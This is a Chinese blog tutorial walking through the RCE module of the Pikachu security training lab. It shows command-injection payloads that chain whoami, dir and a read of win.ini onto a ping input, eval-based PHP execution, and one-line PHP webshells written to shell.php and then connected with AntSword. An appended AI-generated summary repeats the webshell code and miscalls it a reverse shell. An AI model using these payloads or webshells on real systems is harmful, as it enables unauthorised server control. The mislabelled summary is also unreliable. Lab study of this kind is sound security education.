pikachu-RCE

文章详细介绍了RCE漏洞原理,通过例子展示了如何利用web界面的命令执行功能进行远程控制,包括使用whoami命令判断操作系统,构造payload获取文件内容,以及利用eval执行恶意代码。最后提到可通过上传木马进行攻击和防护措施的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

RCE 模块


参考文章Pikachu靶场之RCE漏洞详解_pikachu rce-优快云博客

RCE(remote command/code execute ,远程命令执行)

命令执行一般发生在远程,故被称为远程命令执行。

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

应用系统从设计上需要给用户提供指定的远程命令操作的接口。( 比如常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

如果设计者在此输入界面的功能上没有做严格的安全控制,攻击者就可以通过此接口注入恶意的命令,让后台执行,从而控制整个后台服务器。

1.exec“ping”
现在来做第一关,先ping一下本机127.0.0.1

然后可以看到出现了很多乱码

由于windows和linux有3个命令连接符是相同的(|,||,&&),因此在不知道目标的具体操作系统的情况下,可以先用这三种测试。命令就用whoami

为啥用whoami命令呢?因为这个命令不但windows和linux系统都支持(windows xp不默认支持,可安装),而且显示的内容不同,不但可以用来判断是否有远程命令执行漏洞,还可以用来判断操作系统(linux系统中显示当前执行操作的用户名,windows系统中显示当前登录的域名和用户名)

查看用户 构造payload127.0.0.1 && whoami 

palyload:127.0.0.1 && dir    就能看件到当先路径和路径下的文件


  

查看文件内容win.ini
payload 127.0.0.1 && type C:\Windows\win.ini


代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。

2.exec“evel”

eval():会将符合PHP 语法规范字符串当作php代码执行。
输入phpinfo();


 点击提交之后,phpinfo()函数被执行了

当然我们也有另一种方法,我们也可以上传一句话木马进行攻击

在对话框中输入一句话木马

fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');

就可以看到在pikachu中的文件中看到shell.php木马文件已经上传了


打开蚁键进行连接

成功连接就能进入对方电脑的后台了,可以看到对方的所有文件,攻击成功!

### 关于Pikachu靶场中的RCE漏洞 Pikachu是一款专为Web安全学习设计的靶场系统,其中包含了多种常见的Web安全漏洞。对于初学者而言,它提供了一个理想的环境来实践和理解各种攻击向量[^1]。 #### RCE漏洞概述 远程代码执行(Remote Code Execution, RCE)是一种严重的安全漏洞,允许攻击者通过目标系统的应用程序运行任意代码。在Pikachu靶场中,存在多个场景模拟这种类型的漏洞。例如,在`exec "ping"`的功能实现上,如果未对用户输入进行严格过滤,则可能导致恶意命令注入并被执行[^2]。 #### 利用方法示例 以下是几种典型的RCE漏洞利用方式: 1. **创建反向Shell** 攻击者可以通过上传自定义PHP脚本的方式获取更高权限的操作界面。例如,下面这段代码可用于生成一个简单的后门程序: ```php <?php eval($_POST["cmd"]); ?> ``` 将上述内容写入服务器上的某个可访问位置(如`shell.php`),即可通过发送特定请求控制该服务端进程[^4]。 2. **文件操作指令嵌套** 另一种常见手法是在合法功能之外附加额外的动作。比如以下命令会尝试将一段恶意代码保存至临时文本文件中: ```bash echo "<?php @eval(\$_POST['cmd']); ?>" > mm.txt ``` 此外还可以进一步扩展成更复杂的逻辑链路以便长期维持连接通道[^5]。 #### 中文显示问题处理建议 当遇到因字符集不匹配引起的乱码现象时,可以在受影响页面顶部增加指定编码声明语句解决这个问题。具体做法如下所示: ```php header("Content-type:text/html;charset=gb2312"); ``` 不过需要注意的是,这样做可能会影响到其他部分正常展示效果;因此必要时候可以选择有条件启用或者完全移除这条设置行[^3]。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值